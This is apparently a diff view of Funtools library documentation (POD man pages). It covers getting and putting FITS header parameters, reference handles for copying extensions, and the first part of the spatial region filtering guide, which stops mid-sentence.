if you set the FUN_PRIMARYHEADER parameter to 1, then the primary
|
||||
header is used for all parameter access until the value is reset to
|
||||
0. For example:
|
||||
|
||||
int val;
|
||||
FunParamGeti(fun, "NAXIS", 1, 0, &got); # current header
|
||||
val=1;
|
||||
FunInfoPut(fun, FUN_PRIMARYHEADER, &val, 0); # switch to ...
|
||||
FunParamGeti(fun, "NAXIS", 1, 0, &got); # ... primary header
|
||||
FunParamGeti(fun, "NAXIS", 2, 0, &got); # ... primary header
|
||||
val=0;
|
||||
FunInfoPut(fun, FUN_PRIMARYHEADER, &val, 0); # switch back to ...
|
||||
FunParamGeti(fun, "NAXIS", 2, 0, &got); # current header
|
||||
|
||||
|
||||
|
||||
Alternatively, you can use the FUN_PRIMARY macro to access parameters
|
||||
from the primary header on a per-parameter basis:
|
||||
|
||||
FunParamGeti(fun, "NAXIS1", 0, 0, &got); # current header
|
||||
FunParamGeti(FUN_PRIMARY(fun), "NAXIS1", 0, 0, &got); # primary header
|
||||
|
||||
B<NB: FUN_PRIMARY is deprecated.>
|
||||
It makes use of a global parameter and therefore will not not
|
||||
appropriate for threaded applications, when we make funtools
|
||||
thread-safe. We recommend use of FunInfoPut() to switch between the
|
||||
extension header and the primary header.
|
||||
|
||||
|
||||
For output data, access to the primary header is only possible until
|
||||
the header is written out, which usually takes place when the first
|
||||
data are written.
|
||||
|
||||
|
||||
The second argument is the name of the parameter to access. The third
|
||||
B<n> argument, if non-zero, is an integer that will be added as a
|
||||
suffix to the parameter name. This makes it easy to use a simple loop
|
||||
to process parameters having the same root name. For example, to
|
||||
gather up all values of TLMIN and TLMAX for each column in a binary
|
||||
table, you can use:
|
||||
|
||||
for(i=0, got=1; got; i++){
|
||||
fun->cols[i]->tlmin = (int)FunParamGeti(fun, "TLMIN", i+1, 0.0, &got);
|
||||
fun->cols[i]->tlmax = (int)FunParamGeti(fun, "TLMAX", i+1, 0.0, &got);
|
||||
}
|
||||
|
||||
|
||||
|
||||
The fourth B<defval> argument is the default value to return if
|
||||
the parameter does not exist. Note that the data type of this
|
||||
parameter is different for each specific FunParamGet() call. The final
|
||||
B<got> argument will be 0 if no param was found. Otherwise the
|
||||
data type of the parameter is returned as follows: FUN_PAR_UNKNOWN
|
||||
('u'), FUN_PAR_COMMENT ('c'), FUN_PAR_LOGICAL ('l'), FUN_PAR_INTEGER
|
||||
('i'), FUN_PAR_STRING ('s'), FUN_PAR_REAL ('r'), FUN_PAR_COMPLEX ('x').
|
||||
|
||||
|
||||
These routines return the value of the header parameter, or the
|
||||
specified default value if the header parameter does not exist. The
|
||||
returned value is a malloc'ed string and should be freed when no
|
||||
longer needed.
|
||||
|
||||
|
||||
By default, B<FunParamGets()> returns the string value of the
|
||||
named parameter. However, you can use FunInfoPut() to retrieve the
|
||||
raw 80-character FITS card instead. In particular, if you set the
|
||||
FUN_RAWPARAM parameter to 1, then card images will be returned by
|
||||
FunParamGets() until the value is reset to 0.
|
||||
|
||||
|
||||
Alternatively, if the FUN_RAW macro is applied to the name, then the
|
||||
80-character raw FITS card is returned instead.
|
||||
B<NB: FUN_RAW is deprecated.>
|
||||
It makes use of a global parameter and therefore will not not
|
||||
appropriate for threaded applications, when we make funtools
|
||||
thread-safe. We recommend use of FunInfoPut() to switch between the
|
||||
extension header and the primary header.
|
||||
|
||||
|
||||
Note that in addition to the behaviors described above, the
|
||||
routine B<FunParamGets()> will return the 80 raw characters of the
|
||||
B<nth> FITS card (including the comment) if B<name> is specified as
|
||||
NULL and B<n> is positive. For example, to loop through all FITS
|
||||
header cards in a given extension and print out the raw card, use:
|
||||
|
||||
for(i=1; ;i++){
|
||||
if( (s = FunParamGets(fun, NULL, i, NULL, &got)) ){
|
||||
fprintf(stdout, "%.80s\n", s);
|
||||
free(s);
|
||||
}
|
||||
else{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,147 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunParamPut - put a Funtools param value>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
int FunParamPutb(Fun fun, char *name, int n, int value, char *comm,
|
||||
int append)
|
||||
|
||||
int FunParamPuti(Fun fun, char *name, int n, int value, char *comm,
|
||||
int append)
|
||||
|
||||
int FunParamPutd(Fun fun, char *name, int n, double value, int prec,
|
||||
char *comm, int append)
|
||||
|
||||
int FunParamPuts(Fun fun, char *name, int n, char *value, char *comm,
|
||||
int append)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
The four routines B<FunParamPutb()>, B<FunParamPuti()>,
|
||||
B<FunParamPutd()>, and B<FunParamPuts()>, will set the value
|
||||
of a FITS header parameter as a boolean, int, double, and string,
|
||||
respectively.
|
||||
|
||||
|
||||
The first argument is the Fun handle associated with the FITS header
|
||||
being accessed. Normally, the header is associated with the FITS
|
||||
extension that you opened with B<FunOpen()>.
|
||||
However, you can use FunInfoPut() to specify that use of the primary
|
||||
header. In particular, if you set the FUN_PRIMARYHEADER parameter to
|
||||
1, then the primary header is used for all parameter access until the
|
||||
value is reset to 0. For example:
|
||||
|
||||
int val;
|
||||
FunParamPuti(fun, "NAXIS1", 0, 10, NULL, 1); # current header
|
||||
val=1;
|
||||
FunInfoPut(fun, FUN_PRIMARYHEADER, &val, 0); # switch to ...
|
||||
FunParamPuti(fun, "NAXIS1", 0, 10, NULL, 1); # primary header
|
||||
|
||||
(You also can use the deprecated FUN_PRIMARY macro, to access
|
||||
parameters from the primary header.)
|
||||
|
||||
|
||||
The second argument is the B<name> of the parameter. (
|
||||
In accordance with FITS standards, the special names B<COMMENT>
|
||||
and B<HISTORY>, as well as blank names, are output without the "= "
|
||||
value indicator in columns 9 and 10.
|
||||
|
||||
|
||||
The third B<n> argument, if non-zero, is an integer that will be
|
||||
added as a suffix to the parameter name. This makes it easy to use a
|
||||
simple loop to process parameters having the same root name. For
|
||||
example, to set the values of TLMIN and TLMAX for each column in a
|
||||
binary table, you can use:
|
||||
|
||||
for(i=0; i<got; i++){
|
||||
FunParamPutd(fun, "TLMIN", i+1, tlmin[i], 7, "min column val", 1);
|
||||
FunParamPutd(fun, "TLMAX", i+1, tlmax[i], 7, "max column val", 1);
|
||||
}
|
||||
|
||||
|
||||
|
||||
The fourth B<defval> argument is the value to set. Note that the
|
||||
data type of this argument is different for each specific
|
||||
FunParamPut() call. The B<comm> argument is the comment
|
||||
string to add to this header parameter. Its value can be NULL. The
|
||||
final B<append> argument determines whether the parameter is added
|
||||
to the header if it does not exist. If set to a non-zero value, the
|
||||
header parameter will be appended to the header if it does not exist.
|
||||
If set to 0, the value will only be used to change an existing parameter.
|
||||
|
||||
|
||||
Note that the double precision routine FunParamPutd() supports an
|
||||
extra B<prec> argument after the B<value> argument, in order
|
||||
to specify the precision when converting the double value to ASCII. In
|
||||
general a 20.[prec] format is used (since 20 characters are alloted to
|
||||
a floating point number in FITS) as follows: if the double value being
|
||||
put to the header is less than 0.1 or greater than or equal to
|
||||
10**(20-2-[prec]), then %20.[prec]e format is used (i.e., scientific
|
||||
notation); otherwise %20.[prec]f format is used (i.e., numeric
|
||||
notation).
|
||||
|
||||
|
||||
As a rule, parameters should be set before writing the table or image.
|
||||
It is, however, possible to update the value of an B<existing>
|
||||
parameter after writing an image or table (but not to add a new
|
||||
one). Such updating only works if the parameter already exists and if
|
||||
the output file is seekable, i.e. if it is a disk file or is stdout
|
||||
being redirected to a disk file.
|
||||
|
||||
|
||||
It is possible to add a new parameter to a header after the data has
|
||||
been written, but only if space has previously been reserved. To reserve
|
||||
space, add a blank parameter whose value is the name of the parameter you
|
||||
eventually will update. Then, when writing the new parameter, specify a
|
||||
value of 2 for the append flag. The parameter writing routine will
|
||||
first look to update an existing parameter, as usual. If an existing
|
||||
parameter is not found, an appropriately-valued blank parameter will be
|
||||
searched for and replaced. For example:
|
||||
|
||||
/* add blank card to be used as a place holder for IPAR1 update */
|
||||
FunParamPuts(fun, NULL, 0, "IPAR1", "INTEGER Param", 0);
|
||||
...
|
||||
/* write header and data */
|
||||
FunTableRowPut(fun, events, got, 0, NULL);
|
||||
...
|
||||
/* update param in file after writing data -- note append = 2 here */
|
||||
FunParamPuti(fun, "IPAR", 1, 400, "INTEGER Param", 2);
|
||||
|
||||
|
||||
|
||||
The parameter routines return a 1 if the routine was successful and a 0 on
|
||||
failure. In general, the major reason for failure is that you did not
|
||||
set the append argument to a non-zero value and the parameter did not
|
||||
already exist in the file.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,170 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunRef: the Funtools Reference Handle>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
A description of how to use a Funtools reference handle to connect a
|
||||
Funtools input file to an output file.
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
The Funtools reference handle connects a Funtools input file to a
|
||||
Funtools output file so that parameters (or even whole extensions) can
|
||||
be copied from the one to the other. To make the connection, the Funtools
|
||||
handle of the input file is passed to the
|
||||
final argument of the
|
||||
FunOpen() call for the output file:
|
||||
|
||||
if( !(ifun = FunOpen(argv[1], "r", NULL)) )
|
||||
gerror(stderr, "could not FunOpen input file: %s\n", argv[1]);
|
||||
if( !(ofun = FunOpen(argv[2], "w", ifun)) )
|
||||
gerror(stderr, "could not FunOpen output file: %s\n", argv[2]);
|
||||
|
||||
It does not matter what type of input or output file (or extension) is
|
||||
opened, or whether they are the same type. When the output image or
|
||||
binary table is written using
|
||||
FunImagePut()
|
||||
or
|
||||
FunTableRowPut()
|
||||
an appropriate header will be written first, with parameters copied
|
||||
from the input extension. Of course, invalid parameters will be
|
||||
removed first, e.g., if the input is a binary table and the output is
|
||||
an image, then binary table parameters such as TFORM, TUNIT,
|
||||
etc. parameters will not be copied to the output.
|
||||
|
||||
|
||||
Use of a reference handle also allows default values to be passed
|
||||
to
|
||||
FunImagePut() in order to
|
||||
write out an output image with the same dimensions and data type
|
||||
as the input image. To use the defaults from the input, a value
|
||||
of 0 is entered for dim1, dim2, and bitpix. For example:
|
||||
|
||||
fun = FunOpen(argv[1], "r", NULL);
|
||||
fun2 = FunOpen(argv[2], "w", fun);
|
||||
buf = FunImageGet(fun, NULL, NULL);
|
||||
... process image data ...
|
||||
FunImagePut(fun2, buf, 0, 0, 0, NULL);
|
||||
|
||||
Of course, you often want to get information about the data type
|
||||
and dimensions of the image for processing. The above code
|
||||
is equivalent to the following:
|
||||
|
||||
fun = FunOpen(argv[1], "r", NULL);
|
||||
fun2 = FunOpen(argv[2], "w", fun);
|
||||
buf = FunImageGet(fun, NULL, NULL);
|
||||
FunInfoGet(fun, FUN_SECT_DIM1, &dim1, FUN_SECT_DIM2, &dim2,
|
||||
FUN_SECT_BITPIX, &bitpix, 0);
|
||||
... process image data ...
|
||||
FunImagePut(fun2, buf, dim1, dim2, bitpix, NULL);
|
||||
|
||||
|
||||
|
||||
It is possible to change the reference handle for a given output Funtools
|
||||
handle using the
|
||||
FunInfoPut() routine:
|
||||
|
||||
/* make the new extension the reference handle for the output file */
|
||||
FunInfoPut(fun2, FUN_IFUN, &fun, 0);
|
||||
|
||||
When this is done, Funtools specially resets the output file to start
|
||||
a new output extension, which is connected to the new input reference
|
||||
handle. You can use this mechanism to process multiple input extensions
|
||||
into a single output file, by successively opening the former and
|
||||
setting the reference handle for the latter. For example:
|
||||
|
||||
/* open a new output FITS file */
|
||||
if( !(fun2 = FunOpen(argv[2], "w", NULL)) )
|
||||
gerror(stderr, "could not FunOpen output file: %s\n", argv[2]);
|
||||
/* process each input extension in turn */
|
||||
for(ext=0; ;ext++){
|
||||
/* get new extension name */
|
||||
sprintf(tbuf, "%s[%d]", argv[1], ext);
|
||||
/* open it -- if we cannot open it, we are done */
|
||||
if( !(fun=FunOpen(tbuf, "r", NULL)) )
|
||||
break;
|
||||
/* make the new extension the reference handle for the output file */
|
||||
FunInfoPut(fun2, FUN_IFUN, &fun, 0);
|
||||
... process ...
|
||||
/* flush output extension (write padding, etc.) */
|
||||
FunFlush(fun2, NULL);
|
||||
/* close the input extension */
|
||||
FunClose(fun);
|
||||
}
|
||||
|
||||
In this example, the output file is opened first. Then each successive
|
||||
input extension is opened, and the output reference handle is set to
|
||||
the newly opened input handle. After data processing is performed, the
|
||||
output extension is flushed and the input extension is closed, in
|
||||
preparation for the next input extension.
|
||||
|
||||
Finally, a reference handle can be used to copy other extensions from
|
||||
the input file to the output file. Copy of other extensions is
|
||||
controlled by adding a "C" or "c" to the mode string of the
|
||||
FunOpen()
|
||||
call B<of the input reference file>. If "C" is specified, then
|
||||
other extensions are B<always> copied (i.e., copy is forced by the
|
||||
application). If "c" is used, then other extensions are copied if the
|
||||
user requests copying by adding a plus sign "+" to the extension name
|
||||
in the bracket specification. For example, the B<funtable>
|
||||
program utilizes user-specified "c" mode so that the second example
|
||||
below will copy all extensions:
|
||||
|
||||
# copy only the EVENTS extension
|
||||
csh> funtable "test.ev[EVENTS,circle(512,512,10)]" foo.ev
|
||||
# copy ALL extensions
|
||||
csh> funtable "test.ev[EVENTS+,circle(512,512,10)]" foo.ev
|
||||
|
||||
When extension copy is specified in the input file, the call to
|
||||
FunOpen()
|
||||
on the input file delays the actual file open until the output file
|
||||
also is opened (or until I/O is performed on the input file, which
|
||||
ever happens first). Then, when the output file is opened, the input
|
||||
file is also opened and input extensions are copied to the output
|
||||
file, up to the specific extension being opened. Processing of input
|
||||
and output extensions then proceed.
|
||||
|
||||
When extension processing is complete, the remaining extensions need to
|
||||
be copied from input to output. This can be done explicitly, using the
|
||||
FunFlush()
|
||||
call with the "copy=remaining" plist:
|
||||
|
||||
FunFlush(fun, "copy=remaining");
|
||||
|
||||
Alternatively, this will happen automatically, if the output file
|
||||
is closed B<before> the input file:
|
||||
|
||||
/* we could explicitly flush remaining extensions that need copying */
|
||||
/* FunFlush(fun2, "copy=remaining"); */
|
||||
/* but if we close output before input, end flush is done automatically */
|
||||
FunClose(fun2);
|
||||
FunClose(fun);
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,571 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<Regions: Spatial Region Filtering>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
This document contains a summary of the user interface for spatial
|
||||
region filtering images and tables.
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Spatial region filtering allows a program to select regions of an
|
||||
image or rows of a table (e.g., X-ray events) to process using
|
||||
simple geometric shapes and boolean combinations of shapes. When an
|
||||
image is filtered, only pixels found within these shapes are
|
||||
processed. When a table is filtered, only rows found within these
|
||||
shapes are processed.
|
||||
|
||||
|
||||
Spatial region filtering for images and tables is accomplished by
|
||||
means of B<region specifications>. A region specification
|
||||
consists of one or more B<region expressions>, which are geometric
|
||||
shapes,combined according to the rules of boolean algebra. Region
|
||||
specifications also can contain comments and local/global processing
|
||||
directives.
|
||||
|
||||
|
||||
Typically, region specifications are specified using bracket notation
|
||||
appended to the filename of the data being processed:
|
||||
|
||||
foo.fits[circle(512,512,100)]
|
||||
|
||||
It is also possible to put region specification inside a file and
|
||||
then pass the filename in bracket notation:
|
||||
|
||||
foo.fits[@my.reg]
|
||||
|
||||
|
||||
|
||||
When region filters are passed in bracket notation in this manner, the
|
||||
filtering is set up automatically when the file is opened and all
|
||||
processing occurs through the filter. Programs also can use the filter
|
||||
library API to open filters explicitly.
|
||||
|
||||
B<Region Expressions>
|
||||
|
||||
More specifically, region specifications consist of one or more lines
|
||||
containing:
|
||||
|
||||
# comment until end of line
|
||||
global keyword=value keyword=value ... # set global value(s)
|
||||
# include the following file in the region descriptor
|
||||
@file
|
||||
# use the FITS image as a mask (cannot be used with other regions)
|
||||
@fitsimage
|
||||
# each region expression contains shapes separated by operators
|
||||
[region_expression1], [region_expression2], ...
|
||||
[region_expression], [region_expression], ...
|
||||
|
||||
|
||||
|
||||
A single region expression consists of:
|
||||
|
||||
# parens and commas are optional, as is the + sign
|
||||
[+-]shape(num , num , ...) OP1 shape num num num OP2 shape ...
|
||||
|
||||
e.g.:
|
||||
|
||||
([+-]shape(num , num , ...) && shape num num || shape(num, num)
|
||||
# a comment can come after a region -- reserved for local properties
|
||||
[+-]shape(num , num , ...) # local properties go here, e.g. color=red
|
||||
|
||||
|
||||
|
||||
Thus, a region descriptor consists of one or more region
|
||||
expressions or B<regions>, separated by comas, new-lines, or
|
||||
semi-colons. Each B<region> consists of one or more geometric
|
||||
shapes combined using standard boolean operation. Several types
|
||||
of shapes are supported, including:
|
||||
|
||||
|
||||
shape: arguments:
|
||||
----- ----------------------------------------
|
||||
ANNULUS xcenter ycenter inner_radius outer_radius
|
||||
BOX xcenter ycenter xwidth yheight (angle)
|
||||
CIRCLE xcenter ycenter radius
|
||||
ELLIPSE xcenter ycenter xwidth yheight (angle)
|
||||
FIELD none
|
||||
LINE x1 y1 x2 y2
|
||||
PIE xcenter ycenter angle1 angle2
|
||||
POINT x1 y1
|
||||
POLYGON x1 y1 x2 y2 ... xn yn
|
||||
|
||||
|
||||
|
||||
In addition, the following regions accept B<accelerator> syntax:
|
||||
|
||||
|
||||
shape arguments
|
||||
----- ------------------------------------------
|
||||
ANNULUS xcenter ycenter radius1 radius2 ... radiusn
|
||||
ANNULUS xcenter ycenter inner_radius outer_radius n=[number]
|
||||
BOX xcenter ycenter xw1 yh1 xw2 yh2 ... xwn yhn (angle)
|
||||
BOX xcenter ycenter xwlo yhlo xwhi yhhi n=[number] (angle)
|
||||
CIRCLE xcenter ycenter r1 r2 ... rn # same as annulus
|
||||
CIRCLE xcenter ycenter rinner router n=[number] # same as annulus
|
||||
ELLIPSE xcenter ycenter xw1 yh1 xw2 yh2 ... xwn yhn (angle)
|
||||
ELLIPSE xcenter ycenter xwlo yhlo xwhi yhhi n=[number] (angle)
|
||||
PIE xcenter ycenter angle1 angle2 (angle3) (angle4) (angle5) ...
|
||||
PIE xcenter ycenter angle1 angle2 (n=[number])
|
||||
POINT x1 y1 x2 y2 ... xn yn
|
||||
|
||||
Note that the circle accelerators are simply aliases for the annulus
|
||||
accelerators. See region geometry
|
||||
for more information about accelerators.
|
||||
|
||||
|
||||
Finally, the following are combinations of pie with different shapes
|
||||
(called "panda" for "Pie AND Annulus") allow for easy specification of
|
||||
radial sections:
|
||||
|
||||
|
||||
shape: arguments:
|
||||
----- ---------
|
||||
PANDA xcen ycen ang1 ang2 nang irad orad nrad # circular
|
||||
CPANDA xcen ycen ang1 ang2 nang irad orad nrad # circular
|
||||
BPANDA xcen ycen ang1 ang2 nang xwlo yhlo xwhi yhhi nrad (ang) # box
|
||||
EPANDA xcen ycen ang1 ang2 nang xwlo yhlo xwhi yhhi nrad (ang) # ellipse
|
||||
|
||||
|
||||
The panda and cpanda specify combinations of annulus and circle with pie,
|
||||
respectively and give identical results. The bpanda combines box and pie,
|
||||
while epanda combines ellipse and pie.
|
||||
See region geometry
|
||||
for more information about pandas.
|
||||
|
||||
|
||||
The following "shapes" are ignored by funtools (generated by ds9):
|
||||
|
||||
shape: arguments:
|
||||
----- ---------
|
||||
PROJECTION x1 y1 x2 y2 width # NB: ignored by funtools
|
||||
RULER x1 y1 x2 y2 # NB: ignored by funtools
|
||||
TEXT x y # NB: ignored by funtools
|
||||
GRID # NB: ignored by funtools
|
||||
TILE # NB: ignored by funtools
|
||||
COMPASS # NB: ignored by funtools
|
||||
|
||||
|
||||
|
||||
All arguments to regions are real values; integer values are
|
||||
automatically converted to real where necessary. All angles are in
|
||||
degrees and run from the positive image x-axis to the positive image
|
||||
y-axis. If a rotation angle is part of the associated WCS header, that
|
||||
angle is added implicitly as well.
|
||||
|
||||
|
||||
Note that 3-letter abbreviations are supported for all shapes, so that
|
||||
you can specify "circle" or "cir".
|
||||
|
||||
|
||||
B<Columns Used in Region Filtering>
|
||||
|
||||
By default, the x,y values in a region expression refer to the two
|
||||
"image binning" columns, i.e. the columns that would be used to
|
||||
bin the data into an image. For images, these are just the 2 dimensions
|
||||
of the image. For tables, these usually default to x and y but
|
||||
can be changed as required. For example, in Funtools, new binning
|
||||
columns are specified using a bincols=(col1,col2) statement within
|
||||
the bracket string on the command line.
|
||||
|
||||
Alternate columns for region filtering can be specified by the syntax:
|
||||
|
||||
(col1,col2)=region(...)
|
||||
|
||||
e.g.:
|
||||
|
||||
(X,Y)=annulus(x,y,ri,ro)
|
||||
(PHA,PI)=circle(x,y,r)
|
||||
(DX,DY)=ellipse(x,y,a,b[,angle])
|
||||
|
||||
|
||||
|
||||
B<Region Algebra>
|
||||
|
||||
(See also Region Algebra for more complete
|
||||
information.)
|
||||
|
||||
|
||||
Region shapes can be combined together using Boolean operators:
|
||||
|
||||
Symbol Operation Use
|
||||
-------- --------- -----------------------------------
|
||||
! not Exclude this shape from this region
|
||||
& or && and Include only the overlap of these shapes
|
||||
| or || inclusive or Include all of both shapes
|
||||
^ exclusive or Include both shapes except their overlap
|
||||
|
||||
Note that the !region syntax must be combined with another region in order
|
||||
that we be able to assign a region id properly. That is,
|
||||
|
||||
!circle(512,512,10)
|
||||
|
||||
is not a legal region because there is no valid region id to work with.
|
||||
To get the full field without a circle, combine the above with field(),
|
||||
as in:
|
||||
|
||||
field() && !circle(512,512,10)
|
||||
|
||||
|
||||
B< Region Separators Also Are Operators>
|
||||
|
||||
|
||||
As mentioned previously, multiple region expressions can be specified
|
||||
in a region descriptor, separated by commas, new-lines, or
|
||||
semi-colons. When such a separator is used, the boolean OR operator
|
||||
is automatically generated in its place but, unlike explicit use of
|
||||
the OR operator, the region ID is incremented (starting from 1).
|
||||
|
||||
|
||||
For example, the two shapes specified in this example are given the
|
||||
same region value:
|
||||
|
||||
foo.fits[circle(512,512,10)||circle(400,400,20)]
|
||||
|
||||
On the other hand, the two shapes defined in the following example are
|
||||
given different region values:
|
||||
|
||||
foo.fits[circle(512,512,10),circle(400,400,20)]
|
||||
|
||||
|
||||
|
||||
Of course these two examples will both mask the same table rows or
|
||||
pixels. However, in programs that distinguish region id's (such as
|
||||
funcnts ), they will act
|
||||
differently. The explicit OR operator will result in one region
|
||||
expression consisting of two shapes having the same region id and
|
||||
funcnts will report a single region. The comma operator will cause
|
||||
funcnts to report two region expressions, each with one shape, in
|
||||
its output.
|
||||
|
||||
|
||||
In general, commas are used to separate region expressions entered
|
||||
in bracket notation on the command line:
|
||||
|
||||
# regions are added to the filename in bracket notation
|
||||
foo.fits[circle(512,512,100),circle(400,400,20)]
|
||||
|
||||
New-lines are used to separate region
|
||||
expressions in a file:
|
||||
|
||||
# regions usually are separated by new-lines in a file
|
||||
# use @filename to include this file on the command line
|
||||
circle(512,512,100)
|
||||
circle(400,400,20)
|
||||
|
||||
Semi-colons are provided for backward compatibility with the original
|
||||
IRAF/PROS implementation and can be used in either case.
|
||||
|
||||
|
||||
If a pixel is covered by two different regions expressions, it is
|
||||
given the mask value of the B<first> region that contains that
|
||||
pixel. That is, successive regions B<do not> overwrite previous
|
||||
regions in the mask, as was the case with the original PROS regions.
|
||||
In this way, an individual pixel is covered by one and only one
|
||||
region. This means that one must sometimes be careful about the order
|
||||
in which regions are defined. If region N is fully contained within
|
||||
region M, then N should be defined B<before> M, or else it will be
|
||||
"covered up" by the latter.
|
||||
|
||||
B<Region Exclusion>
|
||||
|
||||
Shapes also can be globally excluded from all the region specifiers in
|
||||
a region descriptor by using a minus sign before a region:
|
||||
|
||||
|
||||
operator arguments:
|
||||
-------- -----------
|
||||
- Globally exclude the region expression following '-' sign
|
||||
from ALL regions specified in this file
|
||||
|
||||
The global exclude region can be used by itself; in such a case, field() is
|
||||
implied.
|
||||
|
||||
|
||||
A global exclude differs from the local exclude (i.e. a shape prefixed
|
||||
by the logical not "!" symbol) in that global excludes are logically
|
||||
performed last, so that no region will contain pixels from a globally
|
||||
excluded shape. A local exclude is used in a boolean expression with
|
||||
an include shape, and only excludes pixels from that include shape.
|
||||
Global excludes cannot be used in boolean expressions.
|
||||
|
||||
B<Include Files>
|
||||
|
||||
|
||||
The B<@filename> directive specifies an include file
|
||||
containing region expressions. This file is processed as part of
|
||||
the overall region descriptor:
|
||||
|
||||
foo.fits[circle(512,512,10),@foo]
|
||||
|
||||
A filter include file simply includes text without changing the state
|
||||
of the filter. It therefore can be used in expression. That is, if the
|
||||
file foo1 contains "pi==1" and foo2 contains "pha==2" then
|
||||
the following expressions are equivalent:
|
||||
|
||||
"[@foo1&&@foo2]" is equivalent to "[pi==1&&pha==2]"
|
||||
"[pha==1||@foo2]" is equivalent to "[pi==1||pha==2]"
|
||||
"[@foo1,@foo2]" is equivalent to "[pi==1,pha==2]"
|
||||
|
||||
Be careful that you specify evaluation order properly using
|
||||
parenthesis, especially if the include file contains multiple
|
||||
filter statements. For example, consider a file containing two
|
||||
regions such as:
|
||||
|
||||
circle 512 512 10
|
||||
circle 520 520 10
|
||||
|
||||
If you want to include only events (or pixels) that are in these regions
|
||||
and have a pi value of 4, then the correct syntax is:
|
||||
|
||||
pi==4&&(@foo)
|
||||
|
||||
since this is equivalent to:
|
||||
|
||||
pi==4 && (circle 512 512 10 || circle 520 520 10)
|
||||
|
||||
If you leave out the parenthesis, you are filtering this statement:
|
||||
|
||||
pi==4 && circle 512 512 10 || circle 520 520 10)
|
||||
|
||||
which is equivalent to:
|
||||
|
||||
(pi==4 && circle 512 512 10) || circle 520 520 10)
|
||||
|
||||
The latter syntax only applies the pi test to the first region.
|
||||
|
||||
|
||||
For image-style filtering, the B<@filename> can specify an 8-bit
|
||||
or 16-bit FITS image. In this case, the pixel values in the mask image
|
||||
are used as the region mask. The valid pixels in the mask must have
|
||||
positive values. Zero values are excluded from the mask and negative
|
||||
values are not allowed. Moreover, the region id value is taken as
|
||||
the image pixel value and the total number of regions is taken to be
|
||||
the highest pixel value. The dimensions of the image mask must be less
|
||||
than or equal to the image dimensions of the data. The mask will be
|
||||
replicated as needed to match the size of the image. (Thus, best
|
||||
results are obtained when the data dimensions are an even multiple of
|
||||
the mask dimensions.)
|
||||
|
||||
|
||||
An image mask can be used in any image filtering operation, regardless
|
||||
of whether the data is of type image or table. For example, the
|
||||
funcnts )
|
||||
program performs image filtering on images or tables, and so
|
||||
FITS image masks are valid input for either type of data in this
|
||||
program.. An image mask cannot be used in a program such as
|
||||
fundisp )
|
||||
when the input data is a table, because fundisp displays
|
||||
rows of a table and processes these rows using event-style filtering.
|
||||
|
||||
B<Global and Local Properties of Regions>
|
||||
|
||||
|
||||
The ds9 image display program describes a host of properties such as
|
||||
color, font, fix/free state, etc. Such properties can be specified
|
||||
globally (for all regions) or locally (for an individual region).
|
||||
The B<global> keyword specifies properties and qualifiers for all
|
||||
regions, while local properties are specified in comments on the same
|
||||
line as the region:
|
||||
|
||||
global color=red
|
||||
circle(10,10,2)
|
||||
circle(20,20,3) # color=blue
|
||||
circle(30,30,4)
|
||||
|
||||
The first and third circles will be red, which the second circle will
|
||||
be blue. Note that funtools currently ignores region properties, as
|
||||
they are used in display only.
|
||||
|
||||
B< Coordinate Systems>
|
||||
|
||||
For each region, it is important to specify the coordinate system
|
||||
used to interpret the region, i.e., to set the context in which position and
|
||||
size values are interpreted. For this purpose, the following keywords
|
||||
are recognized:
|
||||
|
||||
|
||||
name description
|
||||
---- ------------------------------------------
|
||||
PHYSICAL pixel coords of original file using LTM/LTV
|
||||
IMAGE pixel coords of current file
|
||||
FK4, B1950 sky coordinate systems
|
||||
FK5, J2000 sky coordinate systems
|
||||
GALACTIC sky coordinate systems
|
||||
ECLIPTIC sky coordinate systems
|
||||
ICRS currently same as J2000
|
||||
LINEAR linear wcs as defined in file
|
||||
AMPLIFIER mosaic coords of original file using ATM/ATV
|
||||
DETECTOR mosaic coords of original file using DTM/DTV
|
||||
|
||||
|
||||
|
||||
B<Specifying Positions, Sizes, and Angles>
|
||||
|
||||
The arguments to region shapes can be floats or integers describing
|
||||
positions and sizes. They can be specified as pure numbers or using
|
||||
explicit formatting directives:
|
||||
|
||||
|
||||
position arguments description
|
||||
------------------ ------------------------------
|
||||
[num] context-dependent (see below)
|
||||
[num]d degrees
|
||||
[num]r radians
|
||||
[num]p physical pixels
|
||||
[num]i image pixels
|
||||
[num]:[num]:[num] hms for 'odd' position arguments
|
||||
[num]:[num]:[num] dms for 'even' position arguments
|
||||
[num]h[num]m[num]s explicit hms
|
||||
[num]d[num]m[num]s explicit dms
|
||||
|
||||
size arguments description
|
||||
-------------- -----------
|
||||
[num] context-dependent (see below)
|
||||
[num]" arc seconds
|
||||
[num]' arc minutes
|
||||
[num]d degrees
|
||||
[num]r radians
|
||||
[num]p physical pixels
|
||||
[num]i image pixels
|
||||
|
||||
|
||||
|
||||
When a "pure number" (i.e. one without a format directive such as 'd'
|
||||
for 'degrees') is specified, its interpretation depends on the context
|
||||
